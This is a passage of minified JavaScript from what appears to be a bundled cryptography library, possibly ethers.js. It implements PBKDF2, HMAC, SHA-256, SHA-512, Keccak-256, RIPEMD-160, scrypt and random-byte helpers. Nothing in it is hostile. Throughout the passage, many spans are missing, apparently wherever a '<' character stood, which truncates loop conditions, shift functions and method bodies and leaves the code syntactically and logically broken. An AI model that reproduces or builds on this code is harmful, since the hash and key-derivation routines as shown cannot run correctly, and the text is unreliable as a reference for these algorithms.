PRF=hmac.create(hash$1,password);const PRFSalt=PRF._cloneInto().update(salt);return{c:c,dkLen:dkLen,asyncTick:asyncTick,DK:DK,PRF:PRF,PRFSalt:PRFSalt}}function pbkdf2Output(PRF,PRFSalt,DK,prfW,u){PRF.destroy();PRFSalt.destroy();if(prfW)prfW.destroy();u.fill(0);return DK}function pbkdf2$1(hash,password,salt,opts){const{c,dkLen,DK,PRF,PRFSalt}=pbkdf2Init(hash,password,salt,opts);let prfW;const arr=new Uint8Array(4);const view=createView(arr);const u=new Uint8Array(PRF.outputLen);for(let ti=1,pos=0;pos>_32n&_u32_max);const wl=Number(value&_u32_max);const h=isLE?4:0;const l=isLE?0:4;view.setUint32(byteOffset+h,wh,isLE);view.setUint32(byteOffset+l,wl,isLE)}class SHA2 extends Hash{constructor(blockLen,outputLen,padOffset,isLE){super();this.blockLen=blockLen;this.outputLen=outputLen;this.padOffset=padOffset;this.isLE=isLE;this.finished=false;this.length=0;this.pos=0;this.destroyed=false;this.buffer=new Uint8Array(blockLen);this.view=createView(this.buffer)}update(data){exists(this);const{view,buffer,blockLen}=this;data=toBytes(data);const len=data.length;for(let pos=0;posblockLen-pos){this.process(view,0);pos=0}for(let i=pos;istate.length)throw new Error("_sha2: outputLen bigger than state");for(let i=0;ia&b^~a&c;const Maj=(a,b,c)=>a&b^a&c^b&c;const SHA256_K=new Uint32Array([1116352408,1899447441,3049323471,3921009573,961987163,1508970993,2453635748,2870763221,3624381080,310598401,607225278,1426881987,1925078388,2162078206,2614888103,3248222580,3835390401,4022224774,264347078,604807628,770255983,1249150122,1555081692,1996064986,2554220882,2821834349,2952996808,3210313671,3336571891,3584528711,113926993,338241895,666307205,773529912,1294757372,1396182291,1695183700,1986661051,2177026350,2456956037,2730485921,2820302411,3259730800,3345764771,3516065817,3600352804,4094571909,275423344,430227734,506948616,659060556,883997877,958139571,1322822218,1537002063,1747873779,1955562222,2024104815,2227730452,2361852424,2428436474,2756734187,3204031479,3329325298]);const IV=new Uint32Array([1779033703,3144134277,1013904242,2773480762,1359893119,2600822924,528734635,1541459225]);const SHA256_W=new Uint32Array(64);class SHA256 extends SHA2{constructor(){super(64,32,8,false);this.A=IV[0]|0;this.B=IV[1]|0;this.C=IV[2]|0;this.D=IV[3]|0;this.E=IV[4]|0;this.F=IV[5]|0;this.G=IV[6]|0;this.H=IV[7]|0}get(){const{A,B,C,D,E,F,G,H}=this;return[A,B,C,D,E,F,G,H]}set(A,B,C,D,E,F,G,H){this.A=A|0;this.B=B|0;this.C=C|0;this.D=D|0;this.E=E|0;this.F=F|0;this.G=G|0;this.H=H|0}process(view,offset){for(let i=0;i<16;i++,offset+=4)SHA256_W[i]=view.getUint32(offset,false);for(let i=16;i<64;i++){const W15=SHA256_W[i-15];const W2=SHA256_W[i-2];const s0=rotr(W15,7)^rotr(W15,18)^W15>>>3;const s1=rotr(W2,17)^rotr(W2,19)^W2>>>10;SHA256_W[i]=s1+SHA256_W[i-7]+s0+SHA256_W[i-16]|0}let{A,B,C,D,E,F,G,H}=this;for(let i=0;i<64;i++){const sigma1=rotr(E,6)^rotr(E,11)^rotr(E,25);const T1=H+sigma1+Chi(E,F,G)+SHA256_K[i]+SHA256_W[i]|0;const sigma0=rotr(A,2)^rotr(A,13)^rotr(A,22);const T2=sigma0+Maj(A,B,C)|0;H=G;G=F;F=E;E=D+T1|0;D=C;C=B;B=A;A=T1+T2|0}A=A+this.A|0;B=B+this.B|0;C=C+this.C|0;D=D+this.D|0;E=E+this.E|0;F=F+this.F|0;G=G+this.G|0;H=H+this.H|0;this.set(A,B,C,D,E,F,G,H)}roundClean(){SHA256_W.fill(0)}destroy(){this.set(0,0,0,0,0,0,0,0);this.buffer.fill(0)}}const sha256$1=wrapConstructor(()=>new SHA256);const U32_MASK64=BigInt(2**32-1);const _32n=BigInt(32);function fromBig(n,le=false){if(le)return{h:Number(n&U32_MASK64),l:Number(n>>_32n&U32_MASK64)};return{h:Number(n>>_32n&U32_MASK64)|0,l:Number(n&U32_MASK64)|0}}function split$1(lst,le=false){let Ah=new Uint32Array(lst.length);let Al=new Uint32Array(lst.length);for(let i=0;iBigInt(h>>>0)<<_32n|BigInt(l>>>0);const shrSH=(h,_l,s)=>h>>>s;const shrSL=(h,l,s)=>h<<32-s|l>>>s;const rotrSH=(h,l,s)=>h>>>s|l<<32-s;const rotrSL=(h,l,s)=>h<<32-s|l>>>s;const rotrBH=(h,l,s)=>h<<64-s|l>>>s-32;const rotrBL=(h,l,s)=>h>>>s-32|l<<64-s;const rotr32H=(_h,l)=>l;const rotr32L=(h,_l)=>h;const rotlSH=(h,l,s)=>h<>>32-s;const rotlSL=(h,l,s)=>l<>>32-s;const rotlBH=(h,l,s)=>l<>>64-s;const rotlBL=(h,l,s)=>h<>>64-s;function add(Ah,Al,Bh,Bl){const l=(Al>>>0)+(Bl>>>0);return{h:Ah+Bh+(l/2**32|0)|0,l:l|0}}const add3L=(Al,Bl,Cl)=>(Al>>>0)+(Bl>>>0)+(Cl>>>0);const add3H=(low,Ah,Bh,Ch)=>Ah+Bh+Ch+(low/2**32|0)|0;const add4L=(Al,Bl,Cl,Dl)=>(Al>>>0)+(Bl>>>0)+(Cl>>>0)+(Dl>>>0);const add4H=(low,Ah,Bh,Ch,Dh)=>Ah+Bh+Ch+Dh+(low/2**32|0)|0;const add5L=(Al,Bl,Cl,Dl,El)=>(Al>>>0)+(Bl>>>0)+(Cl>>>0)+(Dl>>>0)+(El>>>0);const add5H=(low,Ah,Bh,Ch,Dh,Eh)=>Ah+Bh+Ch+Dh+Eh+(low/2**32|0)|0;const u64={fromBig:fromBig,split:split$1,toBig:toBig,shrSH:shrSH,shrSL:shrSL,rotrSH:rotrSH,rotrSL:rotrSL,rotrBH:rotrBH,rotrBL:rotrBL,rotr32H:rotr32H,rotr32L:rotr32L,rotlSH:rotlSH,rotlSL:rotlSL,rotlBH:rotlBH,rotlBL:rotlBL,add:add,add3L:add3L,add3H:add3H,add4L:add4L,add4H:add4H,add5H:add5H,add5L:add5L};const[SHA512_Kh,SHA512_Kl]=(()=>u64.split(["0x428a2f98d728ae22","0x7137449123ef65cd","0xb5c0fbcfec4d3b2f","0xe9b5dba58189dbbc","0x3956c25bf348b538","0x59f111f1b605d019","0x923f82a4af194f9b","0xab1c5ed5da6d8118","0xd807aa98a3030242","0x12835b0145706fbe","0x243185be4ee4b28c","0x550c7dc3d5ffb4e2","0x72be5d74f27b896f","0x80deb1fe3b1696b1","0x9bdc06a725c71235","0xc19bf174cf692694","0xe49b69c19ef14ad2","0xefbe4786384f25e3","0x0fc19dc68b8cd5b5","0x240ca1cc77ac9c65","0x2de92c6f592b0275","0x4a7484aa6ea6e483","0x5cb0a9dcbd41fbd4","0x76f988da831153b5","0x983e5152ee66dfab","0xa831c66d2db43210","0xb00327c898fb213f","0xbf597fc7beef0ee4","0xc6e00bf33da88fc2","0xd5a79147930aa725","0x06ca6351e003826f","0x142929670a0e6e70","0x27b70a8546d22ffc","0x2e1b21385c26c926","0x4d2c6dfc5ac42aed","0x53380d139d95b3df","0x650a73548baf63de","0x766a0abb3c77b2a8","0x81c2c92e47edaee6","0x92722c851482353b","0xa2bfe8a14cf10364","0xa81a664bbc423001","0xc24b8b70d0f89791","0xc76c51a30654be30","0xd192e819d6ef5218","0xd69906245565a910","0xf40e35855771202a","0x106aa07032bbd1b8","0x19a4c116b8d2d0c8","0x1e376c085141ab53","0x2748774cdf8eeb99","0x34b0bcb5e19b48a8","0x391c0cb3c5c95a63","0x4ed8aa4ae3418acb","0x5b9cca4f7763e373","0x682e6ff3d6b2b8a3","0x748f82ee5defb2fc","0x78a5636f43172f60","0x84c87814a1f0ab72","0x8cc702081a6439ec","0x90befffa23631e28","0xa4506cebde82bde9","0xbef9a3f7b2c67915","0xc67178f2e372532b","0xca273eceea26619c","0xd186b8c721c0c207","0xeada7dd6cde0eb1e","0xf57d4f7fee6ed178","0x06f067aa72176fba","0x0a637dc5a2c898a6","0x113f9804bef90dae","0x1b710b35131c471b","0x28db77f523047d84","0x32caab7b40c72493","0x3c9ebe0a15c9bebc","0x431d67c49c100d4c","0x4cc5d4becb3e42b6","0x597f299cfc657e2a","0x5fcb6fab3ad6faec","0x6c44198c4a475817"].map(n=>BigInt(n))))();const SHA512_W_H=new Uint32Array(80);const SHA512_W_L=new Uint32Array(80);class SHA512 extends SHA2{constructor(){super(128,64,16,false);this.Ah=1779033703|0;this.Al=4089235720|0;this.Bh=3144134277|0;this.Bl=2227873595|0;this.Ch=1013904242|0;this.Cl=4271175723|0;this.Dh=2773480762|0;this.Dl=1595750129|0;this.Eh=1359893119|0;this.El=2917565137|0;this.Fh=2600822924|0;this.Fl=725511199|0;this.Gh=528734635|0;this.Gl=4215389547|0;this.Hh=1541459225|0;this.Hl=327033209|0}get(){const{Ah,Al,Bh,Bl,Ch,Cl,Dh,Dl,Eh,El,Fh,Fl,Gh,Gl,Hh,Hl}=this;return[Ah,Al,Bh,Bl,Ch,Cl,Dh,Dl,Eh,El,Fh,Fl,Gh,Gl,Hh,Hl]}set(Ah,Al,Bh,Bl,Ch,Cl,Dh,Dl,Eh,El,Fh,Fl,Gh,Gl,Hh,Hl){this.Ah=Ah|0;this.Al=Al|0;this.Bh=Bh|0;this.Bl=Bl|0;this.Ch=Ch|0;this.Cl=Cl|0;this.Dh=Dh|0;this.Dl=Dl|0;this.Eh=Eh|0;this.El=El|0;this.Fh=Fh|0;this.Fl=Fl|0;this.Gh=Gh|0;this.Gl=Gl|0;this.Hh=Hh|0;this.Hl=Hl|0}process(view,offset){for(let i=0;i<16;i++,offset+=4){SHA512_W_H[i]=view.getUint32(offset);SHA512_W_L[i]=view.getUint32(offset+=4)}for(let i=16;i<80;i++){const W15h=SHA512_W_H[i-15]|0;const W15l=SHA512_W_L[i-15]|0;const s0h=u64.rotrSH(W15h,W15l,1)^u64.rotrSH(W15h,W15l,8)^u64.shrSH(W15h,W15l,7);const s0l=u64.rotrSL(W15h,W15l,1)^u64.rotrSL(W15h,W15l,8)^u64.shrSL(W15h,W15l,7);const W2h=SHA512_W_H[i-2]|0;const W2l=SHA512_W_L[i-2]|0;const s1h=u64.rotrSH(W2h,W2l,19)^u64.rotrBH(W2h,W2l,61)^u64.shrSH(W2h,W2l,6);const s1l=u64.rotrSL(W2h,W2l,19)^u64.rotrBL(W2h,W2l,61)^u64.shrSL(W2h,W2l,6);const SUMl=u64.add4L(s0l,s1l,SHA512_W_L[i-7],SHA512_W_L[i-16]);const SUMh=u64.add4H(SUMl,s0h,s1h,SHA512_W_H[i-7],SHA512_W_H[i-16]);SHA512_W_H[i]=SUMh|0;SHA512_W_L[i]=SUMl|0}let{Ah,Al,Bh,Bl,Ch,Cl,Dh,Dl,Eh,El,Fh,Fl,Gh,Gl,Hh,Hl}=this;for(let i=0;i<80;i++){const sigma1h=u64.rotrSH(Eh,El,14)^u64.rotrSH(Eh,El,18)^u64.rotrBH(Eh,El,41);const sigma1l=u64.rotrSL(Eh,El,14)^u64.rotrSL(Eh,El,18)^u64.rotrBL(Eh,El,41);const CHIh=Eh&Fh^~Eh&Gh;const CHIl=El&Fl^~El&Gl;const T1ll=u64.add5L(Hl,sigma1l,CHIl,SHA512_Kl[i],SHA512_W_L[i]);const T1h=u64.add5H(T1ll,Hh,sigma1h,CHIh,SHA512_Kh[i],SHA512_W_H[i]);const T1l=T1ll|0;const sigma0h=u64.rotrSH(Ah,Al,28)^u64.rotrBH(Ah,Al,34)^u64.rotrBH(Ah,Al,39);const sigma0l=u64.rotrSL(Ah,Al,28)^u64.rotrBL(Ah,Al,34)^u64.rotrBL(Ah,Al,39);const MAJh=Ah&Bh^Ah&Ch^Bh&Ch;const MAJl=Al&Bl^Al&Cl^Bl&Cl;Hh=Gh|0;Hl=Gl|0;Gh=Fh|0;Gl=Fl|0;Fh=Eh|0;Fl=El|0;({h:Eh,l:El}=u64.add(Dh|0,Dl|0,T1h|0,T1l|0));Dh=Ch|0;Dl=Cl|0;Ch=Bh|0;Cl=Bl|0;Bh=Ah|0;Bl=Al|0;const All=u64.add3L(T1l,sigma0l,MAJl);Ah=u64.add3H(All,T1h,sigma0h,MAJh);Al=All|0}({h:Ah,l:Al}=u64.add(this.Ah|0,this.Al|0,Ah|0,Al|0));({h:Bh,l:Bl}=u64.add(this.Bh|0,this.Bl|0,Bh|0,Bl|0));({h:Ch,l:Cl}=u64.add(this.Ch|0,this.Cl|0,Ch|0,Cl|0));({h:Dh,l:Dl}=u64.add(this.Dh|0,this.Dl|0,Dh|0,Dl|0));({h:Eh,l:El}=u64.add(this.Eh|0,this.El|0,Eh|0,El|0));({h:Fh,l:Fl}=u64.add(this.Fh|0,this.Fl|0,Fh|0,Fl|0));({h:Gh,l:Gl}=u64.add(this.Gh|0,this.Gl|0,Gh|0,Gl|0));({h:Hh,l:Hl}=u64.add(this.Hh|0,this.Hl|0,Hh|0,Hl|0));this.set(Ah,Al,Bh,Bl,Ch,Cl,Dh,Dl,Eh,El,Fh,Fl,Gh,Gl,Hh,Hl)}roundClean(){SHA512_W_H.fill(0);SHA512_W_L.fill(0)}destroy(){this.buffer.fill(0);this.set(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)}}const sha512$1=wrapConstructor(()=>new SHA512);function getGlobal$1(){if(typeof self!=="undefined"){return self}if(typeof window!=="undefined"){return window}if(typeof global!=="undefined"){return global}throw new Error("unable to locate global object")}const anyGlobal=getGlobal$1();const crypto=anyGlobal.crypto||anyGlobal.msCrypto;function createHash(algo){switch(algo){case"sha256":return sha256$1.create();case"sha512":return sha512$1.create()}assertArgument(false,"invalid hashing algorithm name","algorithm",algo)}function createHmac(_algo,key){const algo={sha256:sha256$1,sha512:sha512$1}[_algo];assertArgument(algo!=null,"invalid hmac algorithm","algorithm",_algo);return hmac.create(algo,key)}function pbkdf2Sync(password,salt,iterations,keylen,_algo){const algo={sha256:sha256$1,sha512:sha512$1}[_algo];assertArgument(algo!=null,"invalid pbkdf2 algorithm","algorithm",_algo);return pbkdf2$1(algo,password,salt,{c:iterations,dkLen:keylen})}function randomBytes$1(length){assert(crypto!=null,"platform does not support secure random numbers","UNSUPPORTED_OPERATION",{operation:"randomBytes"});assertArgument(Number.isInteger(length)&&length>0&&length<=1024,"invalid length","length",length);const result=new Uint8Array(length);crypto.getRandomValues(result);return result}let locked$4=false;const _computeHmac=function(algorithm,key,data){return createHmac(algorithm,key).update(data).digest()};let __computeHmac=_computeHmac;function computeHmac(algorithm,_key,_data){const key=getBytes(_key,"key");const data=getBytes(_data,"data");return hexlify(__computeHmac(algorithm,key,data))}computeHmac._=_computeHmac;computeHmac.lock=function(){locked$4=true};computeHmac.register=function(func){if(locked$4){throw new Error("computeHmac is locked")}__computeHmac=func};Object.freeze(computeHmac);const[SHA3_PI,SHA3_ROTL,_SHA3_IOTA]=[[],[],[]];const _0n$4=BigInt(0);const _1n$5=BigInt(1);const _2n$3=BigInt(2);const _7n=BigInt(7);const _256n=BigInt(256);const _0x71n=BigInt(113);for(let round=0,R=_1n$5,x=1,y=0;round<24;round++){[x,y]=[y,(2*x+3*y)%5];SHA3_PI.push(2*(5*y+x));SHA3_ROTL.push((round+1)*(round+2)/2%64);let t=_0n$4;for(let j=0;j<7;j++){R=(R<<_1n$5^(R>>_7n)*_0x71n)%_256n;if(R&_2n$3)t^=_1n$5<<(_1n$5<s>32?rotlBH(h,l,s):rotlSH(h,l,s);const rotlL=(h,l,s)=>s>32?rotlBL(h,l,s):rotlSL(h,l,s);function keccakP(s,rounds=24){const B=new Uint32Array(5*2);for(let round=24-rounds;round<24;round++){for(let x=0;x<10;x++)B[x]=s[x]^s[x+10]^s[x+20]^s[x+30]^s[x+40];for(let x=0;x<10;x+=2){const idx1=(x+8)%10;const idx0=(x+2)%10;const B0=B[idx0];const B1=B[idx0+1];const Th=rotlH(B0,B1,1)^B[idx1];const Tl=rotlL(B0,B1,1)^B[idx1+1];for(let y=0;y<50;y+=10){s[x+y]^=Th;s[x+y+1]^=Tl}}let curH=s[2];let curL=s[3];for(let t=0;t<24;t++){const shift=SHA3_ROTL[t];const Th=rotlH(curH,curL,shift);const Tl=rotlL(curH,curL,shift);const PI=SHA3_PI[t];curH=s[PI];curL=s[PI+1];s[PI]=Th;s[PI+1]=Tl}for(let y=0;y<50;y+=10){for(let x=0;x<10;x++)B[x]=s[y+x];for(let x=0;x<10;x++)s[y+x]^=~B[(x+2)%10]&B[(x+4)%10]}s[0]^=SHA3_IOTA_H[round];s[1]^=SHA3_IOTA_L[round]}B.fill(0)}class Keccak extends Hash{constructor(blockLen,suffix,outputLen,enableXOF=false,rounds=24){super();this.blockLen=blockLen;this.suffix=suffix;this.outputLen=outputLen;this.enableXOF=enableXOF;this.rounds=rounds;this.pos=0;this.posOut=0;this.finished=false;this.destroyed=false;number(outputLen);if(0>=this.blockLen||this.blockLen>=200)throw new Error("Sha3 supports only keccak-f1600 function");this.state=new Uint8Array(200);this.state32=u32(this.state)}keccak(){keccakP(this.state32,this.rounds);this.posOut=0;this.pos=0}update(data){exists(this);const{blockLen,state}=this;data=toBytes(data);const len=data.length;for(let pos=0;pos=blockLen)this.keccak();const take=Math.min(blockLen-this.posOut,len-pos);out.set(bufferOut.subarray(this.posOut,this.posOut+take),pos);this.posOut+=take;pos+=take}return out}xofInto(out){if(!this.enableXOF)throw new Error("XOF is not possible for this instance");return this.writeInto(out)}xof(bytes){number(bytes);return this.xofInto(new Uint8Array(bytes))}digestInto(out){output(out,this);if(this.finished)throw new Error("digest() was already called");this.writeInto(out);this.destroy();return out}digest(){return this.digestInto(new Uint8Array(this.outputLen))}destroy(){this.destroyed=true;this.state.fill(0)}_cloneInto(to){const{blockLen,suffix,outputLen,rounds,enableXOF}=this;to||(to=new Keccak(blockLen,suffix,outputLen,enableXOF,rounds));to.state32.set(this.state32);to.pos=this.pos;to.posOut=this.posOut;to.finished=this.finished;to.rounds=rounds;to.suffix=suffix;to.outputLen=outputLen;to.enableXOF=enableXOF;to.destroyed=this.destroyed;return to}}const gen=(suffix,blockLen,outputLen)=>wrapConstructor(()=>new Keccak(blockLen,suffix,outputLen));const keccak_256=gen(1,136,256/8);let locked$3=false;const _keccak256=function(data){return keccak_256(data)};let __keccak256=_keccak256;function keccak256(_data){const data=getBytes(_data,"data");return hexlify(__keccak256(data))}keccak256._=_keccak256;keccak256.lock=function(){locked$3=true};keccak256.register=function(func){if(locked$3){throw new TypeError("keccak256 is locked")}__keccak256=func};Object.freeze(keccak256);const Rho=new Uint8Array([7,4,13,1,10,6,15,3,12,0,9,5,2,14,11,8]);const Id=Uint8Array.from({length:16},(_,i)=>i);const Pi=Id.map(i=>(9*i+5)%16);let idxL=[Id];let idxR=[Pi];for(let i=0;i<4;i++)for(let j of[idxL,idxR])j.push(j[i].map(k=>Rho[k]));const shifts=[[11,14,15,12,5,8,7,9,11,13,14,15,6,7,9,8],[12,13,11,15,6,9,9,7,12,15,11,13,7,8,7,7],[13,15,14,11,7,7,6,8,13,14,13,12,5,5,6,9],[14,11,12,14,8,6,5,5,15,12,15,14,9,9,8,6],[15,12,13,13,9,5,8,6,14,11,12,11,8,6,5,5]].map(i=>new Uint8Array(i));const shiftsL=idxL.map((idx,i)=>idx.map(j=>shifts[i][j]));const shiftsR=idxR.map((idx,i)=>idx.map(j=>shifts[i][j]));const Kl=new Uint32Array([0,1518500249,1859775393,2400959708,2840853838]);const Kr=new Uint32Array([1352829926,1548603684,1836072691,2053994217,0]);const rotl$1=(word,shift)=>word<>>32-shift;function f(group,x,y,z){if(group===0)return x^y^z;else if(group===1)return x&y|~x&z;else if(group===2)return(x|~y)^z;else if(group===3)return x&z|y&~z;else return x^(y|~z)}const BUF=new Uint32Array(16);class RIPEMD160 extends SHA2{constructor(){super(64,20,8,true);this.h0=1732584193|0;this.h1=4023233417|0;this.h2=2562383102|0;this.h3=271733878|0;this.h4=3285377520|0}get(){const{h0,h1,h2,h3,h4}=this;return[h0,h1,h2,h3,h4]}set(h0,h1,h2,h3,h4){this.h0=h0|0;this.h1=h1|0;this.h2=h2|0;this.h3=h3|0;this.h4=h4|0}process(view,offset){for(let i=0;i<16;i++,offset+=4)BUF[i]=view.getUint32(offset,true);let al=this.h0|0,ar=al,bl=this.h1|0,br=bl,cl=this.h2|0,cr=cl,dl=this.h3|0,dr=dl,el=this.h4|0,er=el;for(let group=0;group<5;group++){const rGroup=4-group;const hbl=Kl[group],hbr=Kr[group];const rl=idxL[group],rr=idxR[group];const sl=shiftsL[group],sr=shiftsR[group];for(let i=0;i<16;i++){const tl=rotl$1(al+f(group,bl,cl,dl)+BUF[rl[i]]+hbl,sl[i])+el|0;al=el,el=dl,dl=rotl$1(cl,10)|0,cl=bl,bl=tl}for(let i=0;i<16;i++){const tr=rotl$1(ar+f(rGroup,br,cr,dr)+BUF[rr[i]]+hbr,sr[i])+er|0;ar=er,er=dr,dr=rotl$1(cr,10)|0,cr=br,br=tr}}this.set(this.h1+cl+dr|0,this.h2+dl+er|0,this.h3+el+ar|0,this.h4+al+br|0,this.h0+bl+cr|0)}roundClean(){BUF.fill(0)}destroy(){this.destroyed=true;this.buffer.fill(0);this.set(0,0,0,0,0)}}const ripemd160$1=wrapConstructor(()=>new RIPEMD160);let locked$2=false;const _ripemd160=function(data){return ripemd160$1(data)};let __ripemd160=_ripemd160;function ripemd160(_data){const data=getBytes(_data,"data");return hexlify(__ripemd160(data))}ripemd160._=_ripemd160;ripemd160.lock=function(){locked$2=true};ripemd160.register=function(func){if(locked$2){throw new TypeError("ripemd160 is locked")}__ripemd160=func};Object.freeze(ripemd160);let locked$1=false;const _pbkdf2=function(password,salt,iterations,keylen,algo){return pbkdf2Sync(password,salt,iterations,keylen,algo)};let __pbkdf2=_pbkdf2;function pbkdf2(_password,_salt,iterations,keylen,algo){const password=getBytes(_password,"password");const salt=getBytes(_salt,"salt");return hexlify(__pbkdf2(password,salt,iterations,keylen,algo))}pbkdf2._=_pbkdf2;pbkdf2.lock=function(){locked$1=true};pbkdf2.register=function(func){if(locked$1){throw new Error("pbkdf2 is locked")}__pbkdf2=func};Object.freeze(pbkdf2);let locked=false;const _randomBytes=function(length){return new Uint8Array(randomBytes$1(length))};let __randomBytes=_randomBytes;function randomBytes(length){return __randomBytes(length)}randomBytes._=_randomBytes;randomBytes.lock=function(){locked=true};randomBytes.register=function(func){if(locked){throw new Error("randomBytes is locked")}__randomBytes=func};Object.freeze(randomBytes);const rotl=(a,b)=>a<>>32-b;function XorAndSalsa(prev,pi,input,ii,out,oi){let y00=prev[pi++]^input[ii++],y01=prev[pi++]^input[ii++];let y02=prev[pi++]^input[ii++],y03=prev[pi++]^input[ii++];let y04=prev[pi++]^input[ii++],y05=prev[pi++]^input[ii++];let y06=prev[pi++]^input[ii++],y07=prev[pi++]^input[ii++];let y08=prev[pi++]^input[ii++],y09=prev[pi++]^input[ii++];let y10=prev[pi++]^input[ii++],y11=prev[pi++]^input[ii++];let y12=prev[pi++]^input[ii++],y13=prev[pi++]^input[ii++];let y14=prev[pi++]^input[ii++],y15=prev[pi++]^input[ii++];let x00=y00,x01=y01,x02=y02,x03=y03,x04=y04,x05=y05,x06=y06,x07=y07,x08=y08,x09=y09,x10=y10,x11=y11,x12=y12,x13=y13,x14=y14,x15=y15;for(let i=0;i<8;i+=2){x04^=rotl(x00+x12|0,7);x08^=rotl(x04+x00|0,9);x12^=rotl(x08+x04|0,13);x00^=rotl(x12+x08|0,18);x09^=rotl(x05+x01|0,7);x13^=rotl(x09+x05|0,9);x01^=rotl(x13+x09|0,13);x05^=rotl(x01+x13|0,18);x14^=rotl(x10+x06|0,7);x02^=rotl(x14+x10|0,9);x06^=rotl(x02+x14|0,13);x10^=rotl(x06+x02|0,18);x03^=rotl(x15+x11|0,7);x07^=rotl(x03+x15|0,9);x11^=rotl(x07+x03|0,13);x15^=rotl(x11+x07|0,18);x01^=rotl(x00+x03|0,7);x02^=rotl(x01+x00|0,9);x03^=rotl(x02+x01|0,13);x00^=rotl(x03+x02|0,18);x06^=rotl(x05+x04|0,7);x07^=rotl(x06+x05|0,9);x04^=rotl(x07+x06|0,13);x05^=rotl(x04+x07|0,18);x11^=rotl(x10+x09|0,7);x08^=rotl(x11+x10|0,9);x09^=rotl(x08+x11|0,13);x10^=rotl(x09+x08|0,18);x12^=rotl(x15+x14|0,7);x13^=rotl(x12+x15|0,9);x14^=rotl(x13+x12|0,13);x15^=rotl(x14+x13|0,18)}out[oi++]=y00+x00|0;out[oi++]=y01+x01|0;out[oi++]=y02+x02|0;out[oi++]=y03+x03|0;out[oi++]=y04+x04|0;out[oi++]=y05+x05|0;out[oi++]=y06+x06|0;out[oi++]=y07+x07|0;out[oi++]=y08+x08|0;out[oi++]=y09+x09|0;out[oi++]=y10+x10|0;out[oi++]=y11+x11|0;out[oi++]=y12+x12|0;out[oi++]=y13+x13|0;out[oi++]=y14+x14|0;out[oi++]=y15+x15|0}function BlockMix(input,ii,out,oi,r){let head=oi+0;let tail=oi+16*r;for(let i=0;i<16;i++)out[tail+i]=input[ii+(2*r-1)*16+i];for(let i=0;i0)tail+=16;XorAndSalsa(out,head,input,ii+=16,out,tail)}}function scryptInit(password,salt,_opts){const opts=checkOpts({dkLen:32,asyncTick:10,maxmem:1024**3+1024},_opts);const{N,r,p,dkLen,asyncTick,maxmem,onProgress}=opts;number(N);number(r);number(p);number(dkLen);number(asyncTick);number(maxmem);if(onProgress!==undefined&&typeof onProgress!=="function")throw new Error("progressCb should be function");const blockSize=128*r;const blockSize32=blockSize/4;if(N<=1||(N&N-1)!==0||N>=2**(blockSize/8)||N>2**32){throw new Error("Scrypt: N must be larger than 1, a power of 2, less than 2^(128 * r / 8) and less than 2^32")}if(p<0||p>(2**32-1)*32/blockSize){throw new Error("Scrypt: p must be a positive integer less than or equal to ((2^32 - 1) * 32) / (128 * r)")}if(dkLen<0||dkLen>(2**32-1)*32){throw new Error("Scrypt: dkLen should be positive integer less than or equal to (2^32 - 1) * 32")}const memUsed=blockSize*(N+p);if(memUsed>maxmem){throw new Error(`Scrypt: parameters too large, ${memUsed} (128 * r * (N + p)) > ${maxmem} (maxmem)`)}const B=pbkdf2$1(sha256$1,password,salt,{c:1,dkLen:blockSize*p});const B32=u32(B);const V=u32(new Uint8Array(blockSize*N));const tmp=u32(new Uint8Array(blockSize));let blockMixCb=()=>{};if(onProgress){const totalBlockMix=2*N*p;const callbackPer=Math.max(Math.floor(totalBlockMix/1e4),1);let blockMixCnt=0;blockMixCb=()=>{blockMixCnt++;if(onProgress&&(!(blockMixCnt%callbackPer)||blockMixCnt===totalBlockMix))onProgress(blockMixCnt/totalBlockMix)}}return{N:N,r:r,p:p,dkLen:dkLen,blockSize32:blockSize32,V:V,B32:B32,B:B,tmp:tmp,blockMixCb:blockMixCb,asyncTick:asyncTick}}function scryptOutput(password,dkLen,B,V,tmp){const res=pbkdf2$1(sha256$1,password,B,{c:1,dkLen:dkLen});B.fill(0);V.fill(0);tmp.fill(0);return res}function scrypt$1(password,salt,opts){const{N,r,p,dkLen,blockSize32,V,B32,B,tmp,blockMixCb}=scryptInit(password,salt,opts);for(let pi=0;pi{BlockMix(V,pos,V,pos+=blockSize32,r);blockMixCb()});BlockMix(V,(N-1)*blockSize32,B32,Pi,r);blockMixCb();await asyncLoop(N,asyncTick,()=>{const j=B32[Pi+blockSize32-16]%N;for(let k=0;ka instanceof Uint8Array;const hexes=Array.from({length:256},(_,i)=>i.toString(16).padStart(2,"0"));function bytesToHex(bytes){if(!u8a(bytes))throw new Error("Uint8Array expected");let hex="";for(let i=0;isum+a.length,0));let pad=0;arrays.forEach(a=>{if(!u8a(a))throw new Error("Uint8Array expected");r.set(a,pad);pad+=a.length});return r}function equalBytes(b1,b2){if(b1.length!==b2.length)return false;for(let i=0;i_0n$3;n>>=_1n$4,len+=1);return len}function bitGet(n,pos){return n>>BigInt(pos)&_1n$4}const bitSet=(n,pos,value)=>{return n|(value?_1n$4:_0n$3)<(_2n$2<new Uint8Array(data);const u8fr=arr=>Uint8Array.from(arr);function createHmacDrbg(hashLen,qByteLen,hmacFn){if(typeof hashLen!=="number"||hashLen<2)throw new Error("hashLen must be a number");if(typeof qByteLen!=="number"||qByteLen<2)throw new Error("qByteLen must be a number");if(typeof hmacFn!=="function")throw new Error("hmacFn must be a function");let v=u8n(hashLen);let k=u8n(hashLen);let i=0;const reset=()=>{v.fill(1);k.fill(0);i=0};const h=(...b)=>hmacFn(k,v,...b);const reseed=(seed=u8n())=>{k=h(u8fr([0]),seed);v=h();if(seed.length===0)return;k=h(u8fr([1]),seed);v=h()};const gen=()=>{if(i++>=1e3)throw new Error("drbg: tried 1000 values");let len=0;const out=[];while(len{reset();reseed(seed);let res=undefined;while(!(res=pred(gen())))reseed();reset();return res};return genUntil}const validatorFns={bigint:val=>typeof val==="bigint",function:val=>typeof val==="function",boolean:val=>typeof val==="boolean",string:val=>typeof val==="string",stringOrUint8Array:val=>typeof val==="string"||val instanceof Uint8Array,isSafeInteger:val=>Number.isSafeInteger(val),array:val=>Array.isArray(val),field:(val,object)=>object.Fp.isValid(val),hash:val=>typeof val==="function"&&Number.isSafeInteger(val.outputLen)};function validateObject(object,validators,optValidators={}){const checkField=(fieldName,type,isOptional)=>{const checkVal=validatorFns[type];if(typeof checkVal!=="function")throw new Error(`Invalid validator "${type}", expected function`);const val=object[fieldName];if(isOptional&&val===undefined)return;if(!checkVal(val,object)){throw new Error(`Invalid param ${String(fieldName)}=${val} (${typeof val}), expected ${type}`)}};for(const[fieldName,type]of Object.entries(validators))checkField(fieldName,type,false);for(const[fieldName,type]of Object.entries(optValidators))checkField(fieldName,type,true);return object}var 